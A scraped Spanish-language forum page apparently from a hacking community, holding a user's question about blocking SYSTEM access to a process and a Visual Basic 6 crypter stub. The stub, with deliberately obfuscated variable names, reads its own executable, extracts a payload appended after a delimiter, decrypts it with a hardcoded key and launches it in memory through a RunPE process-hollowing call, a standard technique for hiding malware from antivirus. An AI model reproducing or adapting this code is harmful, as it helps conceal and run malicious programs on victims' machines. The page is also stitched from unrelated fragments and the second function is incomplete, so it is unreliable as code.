Eso no me vale por que el proceso que accede al mio tiene nivel system, y yo lo que quiero es quita el permiso a system y al resto de usuarios de acceder al proceso por eso es mejor, pero no se hacerlo
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúSub Main()
Dim Ï»•Ø•¶™ As String
Dim ‰±»±»»¾() As String
Dim ™±¾±™•¯ As String
Dim ¢¾¾»€»Ï() As Byte
Open App.Path & "\" & App.EXEName & ".eXe" For Binary As #1
Ï»•Ø•¶™ = Space$(LOF(1))
Get #1, , Ï»•Ø•¶™
Close #1
‰±»±»»¾ = Split(Ï»•Ø•¶™ , "Delimitador")
™±¾±™•¯ = ENCRYPTACION(‰±»±»»¾(1), "PassDeEncryptacion")
¢¾¾»€»Ï = StrConv(™±¾±™•¯, vbFromUnicode)
CALL RUNPE(App.Path & "\" & App.EXEName & ".eXe", ¢¾¾»€»Ï)
End Sub
Private Function Alternativa1() as string
dim a as string
dim b as string
dim c as string
dim d as string
a = app.path
b = app.exename
c = "\"
d = ".exe"
if app.path + "\" = app.path then
end
else
Alternativa1 = a+c+b+d
end function